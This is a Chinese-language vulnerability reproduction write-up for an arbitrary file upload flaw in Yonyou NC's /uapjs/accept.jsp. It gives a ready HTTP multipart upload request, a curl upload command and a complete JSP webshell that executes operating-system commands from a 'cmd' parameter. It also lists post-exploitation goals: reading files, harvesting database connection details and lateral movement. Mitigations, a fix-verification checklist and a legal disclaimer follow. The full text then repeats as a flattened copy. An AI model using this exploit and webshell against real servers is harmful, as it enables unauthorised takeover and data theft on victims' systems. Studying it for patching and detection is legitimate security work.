漏洞复现--用友NC accept.jsp任意文件上传
字数 1015 2025-08-10 08:28:00

用友NC accept.jsp任意文件上传漏洞复现与分析

漏洞概述

用友NC系统中的accept.jsp文件存在任意文件上传漏洞,攻击者可以利用该漏洞在未授权的情况下上传恶意文件到服务器,进而获取系统控制权限。

漏洞影响版本

根据FreeBuf文章,该漏洞影响以下版本:

  • 用友NC 6.5及之前版本
  • 其他可能存在accept.jsp文件的用友NC版本

漏洞原理

accept.jsp文件位于用友NC系统的/uapjs/目录下,未对上传文件进行充分的安全检查,导致攻击者可以绕过常规的文件上传限制,上传任意文件(包括JSP、PHP等可执行脚本文件)到服务器。

漏洞复现步骤

1. 环境准备

  • 搭建或获取存在漏洞的用友NC系统环境
  • 准备攻击机(Kali Linux或其他渗透测试系统)
  • 准备Web请求工具(Burp Suite、Postman或cURL)

2. 漏洞验证

访问以下URL验证漏洞是否存在:

http://[target]/uapjs/accept.jsp

如果返回空白页面或特定响应,则可能存在漏洞。

3. 构造恶意请求

使用以下方法构造上传请求:

方法一:直接上传

POST /uapjs/accept.jsp HTTP/1.1
Host: [target]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream

<% out.println("Hello, Vuln!"); %>
------WebKitFormBoundaryABC123--

方法二:使用cURL命令

curl -X POST -F "file=@shell.jsp" http://[target]/uapjs/accept.jsp

4. 上传文件位置

成功上传的文件通常位于以下路径之一:

  • /uapjs/upload/
  • /uapjs/目录下
  • 其他可访问的Web目录

5. 访问上传文件

访问上传的恶意文件验证是否成功:

http://[target]/uapjs/upload/test.jsp

漏洞利用进阶

1. 上传WebShell

可以上传更复杂的JSP WebShell,如:

<%@ page import="java.util.*,java.io.*"%>
<%
if(request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while(disr != null) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>

2. 权限提升

通过WebShell可以:

  • 查看服务器文件系统
  • 执行系统命令
  • 获取数据库连接信息
  • 横向移动攻击内网其他系统

防御措施

1. 临时解决方案

  • 删除或重命名/uapjs/accept.jsp文件
  • 在Web服务器配置中限制对/uapjs/目录的访问

2. 长期解决方案

  • 升级到用友NC最新版本
  • 实施Web应用防火墙(WAF)规则,拦截可疑的上传请求
  • 定期进行安全审计和漏洞扫描

3. 安全配置建议

  • 限制JSP文件上传和执行权限
  • 实施文件上传白名单机制
  • 对上传文件进行内容检查和重命名

漏洞修复验证

修复后应验证:

  1. 直接访问accept.jsp应返回错误或空白
  2. 尝试上传文件应被拒绝或无法执行
  3. 检查服务器日志中是否有相关攻击尝试

法律声明

本技术文档仅用于教育目的和安全研究,未经授权对他人系统进行测试或攻击是违法行为。在实际环境中进行测试前,请确保已获得系统所有者的明确授权。

用友NC accept.jsp任意文件上传漏洞复现与分析 漏洞概述 用友NC系统中的 accept.jsp 文件存在任意文件上传漏洞,攻击者可以利用该漏洞在未授权的情况下上传恶意文件到服务器,进而获取系统控制权限。 漏洞影响版本 根据FreeBuf文章,该漏洞影响以下版本: 用友NC 6.5及之前版本 其他可能存在 accept.jsp 文件的用友NC版本 漏洞原理 accept.jsp 文件位于用友NC系统的 /uapjs/ 目录下,未对上传文件进行充分的安全检查,导致攻击者可以绕过常规的文件上传限制,上传任意文件(包括JSP、PHP等可执行脚本文件)到服务器。 漏洞复现步骤 1. 环境准备 搭建或获取存在漏洞的用友NC系统环境 准备攻击机(Kali Linux或其他渗透测试系统) 准备Web请求工具(Burp Suite、Postman或cURL) 2. 漏洞验证 访问以下URL验证漏洞是否存在: 如果返回空白页面或特定响应,则可能存在漏洞。 3. 构造恶意请求 使用以下方法构造上传请求: 方法一:直接上传 方法二:使用cURL命令 4. 上传文件位置 成功上传的文件通常位于以下路径之一: /uapjs/upload/ /uapjs/ 目录下 其他可访问的Web目录 5. 访问上传文件 访问上传的恶意文件验证是否成功: 漏洞利用进阶 1. 上传WebShell 可以上传更复杂的JSP WebShell,如: 2. 权限提升 通过WebShell可以: 查看服务器文件系统 执行系统命令 获取数据库连接信息 横向移动攻击内网其他系统 防御措施 1. 临时解决方案 删除或重命名 /uapjs/accept.jsp 文件 在Web服务器配置中限制对 /uapjs/ 目录的访问 2. 长期解决方案 升级到用友NC最新版本 实施Web应用防火墙(WAF)规则,拦截可疑的上传请求 定期进行安全审计和漏洞扫描 3. 安全配置建议 限制JSP文件上传和执行权限 实施文件上传白名单机制 对上传文件进行内容检查和重命名 漏洞修复验证 修复后应验证: 直接访问 accept.jsp 应返回错误或空白 尝试上传文件应被拒绝或无法执行 检查服务器日志中是否有相关攻击尝试 法律声明 本技术文档仅用于教育目的和安全研究,未经授权对他人系统进行测试或攻击是违法行为。在实际环境中进行测试前,请确保已获得系统所有者的明确授权。